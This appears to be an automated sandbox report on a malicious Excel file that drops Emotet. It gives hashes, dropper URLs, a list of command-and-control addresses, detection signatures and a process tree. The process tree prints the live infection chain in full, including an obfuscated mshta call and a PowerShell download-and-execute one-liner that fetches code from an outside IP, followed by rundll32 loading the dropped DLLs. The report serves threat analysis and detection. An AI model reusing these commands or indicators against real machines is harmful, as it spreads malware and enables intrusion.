Analysis

  • max time kernel
    117s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    18-01-2022 19:03

General

  • Target

    e6a55d3065b29b2634244c18d442d767860dde8b31b384e78ffa5a532f690a08.xls

  • Size

    128KB

  • MD5

    22024c28d98a0aa62558650d4be96202

  • SHA1

    2b145417423113d71bf9c988de67ebc2ded75471

  • SHA256

    e6a55d3065b29b2634244c18d442d767860dde8b31b384e78ffa5a532f690a08

  • SHA512

    6cf1ea3a5a151a833fbf9d5831d80583a15509183dc134b495cd26c41562bd2a8b159b170851a6f04c846592da00885ea93d4b58240d3f4db9f61285fcf84238

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0xb907d607/cc.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://185.7.214.7/PP91.PNG

Extracted

Family

emotet

Botnet

Epoch4

C2

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 6 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\e6a55d3065b29b2634244c18d442d767860dde8b31b384e78ffa5a532f690a08.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1220
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:648
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://0xb907d607/cc.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:668
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/PP91.PNG'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1480
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:296
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:844
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:1952
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Tzjymjq\jazgtny.dpe",wlpcXYMMLCICIsZ
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1428
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Tzjymjq\jazgtny.dpe",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1912

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/844-70-0x00000000001C0000-0x00000000001E6000-memory.dmp

    Filesize

    152KB

  • memory/1220-57-0x0000000075AB1000-0x0000000075AB3000-memory.dmp

    Filesize

    8KB

  • memory/1220-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1220-55-0x0000000070DA1000-0x0000000070DA3000-memory.dmp

    Filesize

    8KB

  • memory/1220-117-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1220-54-0x000000002F551000-0x000000002F554000-memory.dmp

    Filesize

    12KB

  • memory/1428-90-0x0000000000440000-0x0000000000466000-memory.dmp

    Filesize

    152KB

  • memory/1480-62-0x0000000002500000-0x000000000314A000-memory.dmp

    Filesize

    12.3MB

  • memory/1480-61-0x0000000002500000-0x000000000314A000-memory.dmp

    Filesize

    12.3MB

  • memory/1912-97-0x0000000000300000-0x0000000000326000-memory.dmp

    Filesize

    152KB

  • memory/1912-111-0x0000000002960000-0x0000000002986000-memory.dmp

    Filesize

    152KB

  • memory/1912-115-0x0000000002CF0000-0x0000000002D16000-memory.dmp

    Filesize

    152KB

  • memory/1912-114-0x0000000002AA0000-0x0000000002AC6000-memory.dmp

    Filesize

    152KB

  • memory/1912-109-0x0000000002850000-0x0000000002876000-memory.dmp

    Filesize

    152KB

  • memory/1912-107-0x00000000022A0000-0x00000000022C6000-memory.dmp

    Filesize

    152KB

  • memory/1912-105-0x0000000002240000-0x0000000002266000-memory.dmp

    Filesize

    152KB

  • memory/1912-99-0x0000000000520000-0x0000000000546000-memory.dmp

    Filesize

    152KB

  • memory/1912-101-0x0000000002070000-0x0000000002096000-memory.dmp

    Filesize

    152KB

  • memory/1912-103-0x0000000002140000-0x0000000002166000-memory.dmp

    Filesize

    152KB

  • memory/1952-79-0x0000000000AD0000-0x0000000000AF6000-memory.dmp

    Filesize

    152KB

  • memory/1952-93-0x0000000002930000-0x0000000002956000-memory.dmp

    Filesize

    152KB

  • memory/1952-81-0x0000000002000000-0x0000000002026000-memory.dmp

    Filesize

    152KB

  • memory/1952-83-0x0000000002580000-0x00000000025A6000-memory.dmp

    Filesize

    152KB

  • memory/1952-87-0x0000000002810000-0x0000000002836000-memory.dmp

    Filesize

    152KB

  • memory/1952-85-0x0000000002620000-0x0000000002646000-memory.dmp

    Filesize

    152KB

  • memory/1952-77-0x00000000003B0000-0x00000000003D6000-memory.dmp

    Filesize

    152KB